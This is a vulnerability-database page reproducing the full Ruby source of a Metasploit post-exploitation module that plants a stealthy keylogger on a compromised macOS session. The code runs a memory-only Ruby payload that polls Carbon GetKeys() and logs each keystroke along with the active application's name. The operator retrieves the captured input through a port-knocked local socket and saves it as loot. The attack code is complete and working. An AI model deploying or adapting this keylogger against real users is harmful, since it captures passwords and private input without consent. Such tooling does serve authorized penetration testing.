Lucene search
K

OSX Capture Userspace Keylogger

🗓️ 27 Aug 2013 16:35:00Reported by joev <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 66 Views

OSX Capture Userspace Keylogger - Logs keyboard events, transfers keylogs every SYNCWAIT seconds, uses Carbon GetKeys() hook via system Ruby

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'shellwords'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Auxiliary::Report

  # when we need to read from the keylogger,
  # we first "knock" the process by sending a USR1 signal.
  # the keylogger opens a local tcp port (22899 by default) momentarily
  # that we can connect to and read from (using cmd_exec(telnet ...)).
  attr_accessor :port

  # the pid of the keylogger process
  attr_accessor :pid

  # where we are storing the keylog
  attr_accessor :loot_path

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OSX Capture Userspace Keylogger',
        'Description' => %q{
          Logs all keyboard events except cmd-keys and GUI password input.

          Keylogs are transferred between client/server in chunks
          every SYNCWAIT seconds for reliability.

          Works by calling the Carbon GetKeys() hook using the DL lib
          in OSX's system Ruby. The Ruby code is executed in a shell
          command using -e, so the payload never hits the disk.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'joev'],
        'Platform' => [ 'osx'],
        'SessionTypes' => [ 'shell', 'meterpreter' ]
      )
    )

    register_options(
      [
        OptInt.new('DURATION',
                   [ true, 'The duration in seconds.', 600 ]),
        OptInt.new('SYNCWAIT',
                   [ true, 'The time between transferring log chunks.', 10 ]),
        OptPort.new('LOGPORT',
                    [ false, 'Local port opened momentarily for log transfer', 22899 ])
      ]
    )
  end

  def run_ruby_code
    # to pass args to ruby -e we use ARGF (stdin) and yaml
    opts = {
      duration: datastore['DURATION'].to_i,
      port: port
    }

    cmd = "OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES ruby -e #{ruby_code(opts).shellescape}"
    rpid = cmd_exec(cmd, nil, 10)

    if rpid =~ /^\d+/
      print_status "Ruby process executing with pid #{rpid.to_i}"
      rpid.to_i
    else
      fail_with(Failure::Unknown, "Ruby keylogger command failed with error #{rpid}")
    end
  end

  def run
    if session.nil?
      print_error 'Invalid SESSION id.'
      return
    end

    if datastore['DURATION'].to_i < 1
      print_error 'Invalid DURATION value.'
      return
    end

    print_status 'Executing ruby command to start keylogger process.'

    @port = datastore['LOGPORT'].to_i
    @pid = run_ruby_code

    begin
      Timeout.timeout(datastore['DURATION'] + 5) do # padding to read the last logs
        print_status 'Entering read loop'
        loop do
          print_status "Waiting #{datastore['SYNCWAIT']} seconds."
          Rex.sleep(datastore['SYNCWAIT'])
          print_status 'Sending USR1 signal to open TCP port...'
          cmd_exec("kill -USR1 #{pid}")
          print_status 'Dumping logs...'
          # Telnet is not installed in MacOS 10.13+
          log = cmd_exec("nc localhost #{port}")
          log_a = log.scan(/^\[.+?\] \[.+?\] .*$/)
          log = log_a.join("\n") + "\n"
          print_status "#{log_a.size} keystrokes captured"
          next if log_a.empty?

          if loot_path.nil?
            self.loot_path = store_loot(
              'keylog', 'text/plain', session, log, 'keylog.log', 'OSX keylog'
            )
          else
            File.open(loot_path, 'ab') { |f| f.write(log) }
          end
          print_status(log_a.map do |a|
                         a =~ /([^\s]+)\s*$/
                         ::Regexp.last_match(1)
                       end.join)
          print_status "Saved to #{loot_path}"
        end
      end
    rescue ::Timeout::Error
      print_status 'Keylogger run completed.'
    end
  end

  def kill_process(pid)
    print_status "Killing process #{pid.to_i}"
    cmd_exec("kill #{pid.to_i}")
  end

  def cleanup
    return if session.nil?
    return if !@cleaning_up.nil?

    @cleaning_up = true

    if pid.to_i > 0
      print_status('Cleaning up...')
      kill_process(pid)
    end
  end

  def ruby_code(opts = {})
    <<~EOS
      # Kick off a child process and let parent die
      child_pid = fork do
        require 'thread'
        require 'fiddle'
        require 'fiddle/import'

        options = {
          :duration => #{opts[:duration]},
          :port => #{opts[:port]}
        }

        #### 1-way IPC ####

        log = ''
        log_semaphore = Mutex.new
        Signal.trap("USR1") do # signal used for port knocking
          if not @server_listening
            @server_listening = true
            Thread.new do
              require 'socket'
              server = TCPServer.new(options[:port])
              client = server.accept
              log_semaphore.synchronize do
                client.puts(log+"\n")
                log = ''
              end
              client.close
              server.close
              @server_listening = false
            end
          end
        end

        #### External dynamically linked code

        SM_KCHR_CACHE = 38
        SM_CURRENT_SCRIPT = -2
        MAX_APP_NAME = 80

        module Carbon
          extend Fiddle::Importer
          dlload '/System/Library/Frameworks/Carbon.framework/Carbon'
          extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)'
          extern 'void GetFrontProcess(ProcessSerialNumber *)'
          extern 'void GetKeys(void *)'
          extern 'unsigned char *GetScriptVariable(int, int)'
          extern 'unsigned char KeyTranslate(void *, int, void *)'
          extern 'unsigned char CFStringGetCString(void *, void *, int, int)'
          extern 'int CFStringGetLength(void *)'
        end

        psn = Fiddle::Pointer.malloc(16)
        name = Fiddle::Pointer.malloc(16)
        name_cstr = Fiddle::Pointer.malloc(MAX_APP_NAME)
        keymap = Fiddle::Pointer.malloc(16)
        state = Fiddle::Pointer.malloc(8)

        #### Actual Keylogger code

        itv_start = Time.now.to_i
        prev_down = Hash.new(false)
        lastWindow = ""

        while (true) do
          Carbon.GetFrontProcess(psn.ref)
          Carbon.CopyProcessName(psn.ref, name.ref)
          Carbon.GetKeys(keymap)

          str_len = Carbon.CFStringGetLength(name)
          copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0
          app_name = if copied then name_cstr.to_s else 'Unknown' end

          bytes = keymap.to_str
          cap_flag = false
          ascii = 0
          ctrlchar = ""

          (0...128).each do |k|
            # pulled from apple's developer docs for Carbon#KeyMap/GetKeys
            if ((bytes[k>>3].ord >> (k&7)) & 1 > 0)
              if not prev_down[k]
                case k
                  when 36
                    ctrlchar = "[enter]"
                  when 48
                    ctrlchar = "[tab]"
                  when 49
                    ctrlchar = " "
                  when 51
                    ctrlchar = "[delete]"
                  when 53
                    ctrlchar = "[esc]"
                  when 55
                    ctrlchar = "[cmd]"
                  when 56
                    ctrlchar = "[shift]"
                  when 57
                    ctrlchar = "[caps]"
                  when 58
                    ctrlchar = "[option]"
                  when 59
                    ctrlchar = "[ctrl]"
                  when 63
                    ctrlchar = "[fn]"
                  else
                    ctrlchar = ""
                end
                if ctrlchar == "" and ascii == 0
                  kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT)
                  curr_ascii = Carbon.KeyTranslate(kchr, k, state)
                  curr_ascii = curr_ascii >> 16 if curr_ascii < 1
                  prev_down[k] = true
                  if curr_ascii == 0
                    cap_flag = true
                  else
                    ascii = curr_ascii
                  end
                elsif ctrlchar != ""
                  prev_down[k] = true
                end
              end
            else
              prev_down[k] = false
            end
          end
          if ascii != 0 or ctrlchar != ""
            log_semaphore.synchronize do
              if app_name != lastWindow
                log = log << "[\#{Time.now.to_i}] [\#{app_name}]\n"
                lastWindow = app_name
              end
              if ctrlchar != ""
                log = log << "[\#{Time.now.to_i}] [\#{app_name}] \#{ctrlchar}\n"
              elsif ascii > 32 and ascii < 127
                c = if cap_flag then ascii.chr.upcase else ascii.chr end
                log = log << "[\#{Time.now.to_i}] [\#{app_name}] \#{c}\n"
              else
                log = log << "[\#{Time.now.to_i}] [\#{app_name}] [\#{ascii}]\\n"
              end
            end
          end

          exit if Time.now.to_i - itv_start > options[:duration]
          Kernel.sleep(0.01)
        end
      end

      puts child_pid
      Process.detach(child_pid)

    EOS
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
10High risk
Vulners AI Score10
66